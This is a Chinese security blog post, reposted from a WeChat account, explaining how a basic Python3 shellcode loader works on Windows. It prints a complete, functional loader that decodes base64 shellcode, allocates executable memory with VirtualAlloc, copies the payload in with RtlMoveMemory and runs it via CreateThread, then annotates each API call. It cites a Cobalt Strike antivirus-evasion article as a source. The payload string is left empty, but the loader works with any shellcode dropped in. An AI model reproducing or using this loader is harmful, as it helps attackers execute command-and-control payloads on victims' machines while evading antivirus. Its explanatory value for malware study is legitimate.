Shellcode Loader原理

admin 2022年10月5日16:02:58评论37 views字数 3818阅读12分43秒阅读模式

(这个系列的都是基于python3的,包括后续会发的加载器、打包等)

先放一段最基础的Shellcode加载器

import ctypes,urllib.request,codecs,base64
data = ""
shellcode = data
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

这里按行进行解析

代码解析

利用codecs.escape_decode() 将shellcode转为bytes

这块就是将前面的shellcode,转为bytes类型,因为生成出来的payload为十六进制

Shellcode Loader原理

然后在第八行中,通过bytearray来获取转为bytes类型后的shellcode

ctypes库解释+restype设置返回类型

python的ctypes模块是内建,用来调用系统动态链接库函数的模块

我们需要通过VirtualAlloc来申请内存,但是在此之前需要先确认系统位数
为了在64位系统中运行,返回的类型必须跟系统位数一样

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

其中ctypes.c_uint64就是设置返回的类型为64位,如果没有这一段的话,则默认返回32位

通过VirtualAlloc申请内存

下面是函数原型和参数

LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

然后对比第十行的写法

ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000), #分配的类型
    ctypes.c_int(0x40))    #该内存的初始保护属性

Shellcode Loader原理

这是上文的解释,其中IpAddress为0,也就是null时,分配的地址是由系统决定的,无需用户自己指定
分配的类型(不止)

Shellcode Loader原理

0x3000则是第一个和第二个的合并
flprotect访问类型

Shellcode Loader原理

https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin

将Shellcode加载进内存中

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

这条语句在执行成功后,系统会返回一个内存地址(str下面的数字为地址

Shellcode Loader原理

接着需要利用RtlMoveMemory函数,将shellcode加载到这个内存中

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

对比一下加载器的代码

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),    #指向移动目的地址的指针。
    buf,    #指向要复制的内存地址的指针。
    ctypes.c_int(len(shellcode))    #指定要复制的字节数。
)

buf中,利用ctypes传入一个字符串类型,然后通过RtlMoveMemory进行加载
需要注意的是,在目的地址那也是需要使用c_uint64来表示64位
.from_buffer()为加载的原文,c_char * len()用于指定数量

创建新线程

CreateThread函数原型和参数如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

对比一下加载器的代码

handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),    #线程安全属性
    ctypes.c_int(0),    #置初始栈的大小,以字节为单位
    ctypes.c_uint64(ptr),    #指向线程函数的指针
    ctypes.c_int(0),    #向线程函数传递的参数
    ctypes.c_int(0),    #线程创建属性
    ctypes.pointer(ctypes.c_int(0))    #保存新线程的id
)

详解如下:

Shellcode Loader原理

https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin

等待线程调用结束

创建完线程并激活就可以上线了,但是进程不能就这么没了,所以需要利用WaitForSingleObject检测线程状态
WaitForSingleObject函数原型和参数如下:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

对比一下加载器代码

ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(handle),    #对象句柄。可以指定一系列的对象
    ctypes.c_int(-1))    #定时时间间隔

定时的时间间隔为负数时,则表示无限等待的时间

参考文章

内存管理-虚拟内存
https://www.cnblogs.com/Sna1lGo/p/14472260.html
系统内存使用统计
https://blog.csdn.net/weixin_43448411/article/details/106564870
cs免杀-shellcode loader加载器原理(Python)
https://mp.weixin.qq.com/s?__biz=MzIwOTMzMzY0Ng==&mid=2247484538&idx=1&sn=a23fec3cad596102d30a99bad6c27b85&chksm=9774389ba003b18d5428ed6f75490b8cda7f9dcae2e9726ad42ac2d939794c103a7f561f905e&scene=21#wechat_redirect


原文始发于微信公众号(E条咸鱼):Shellcode Loader原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月5日16:02:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shellcode Loader原理http://cn-sec.com/archives/1329616.html

发表评论

匿名网友 填写信息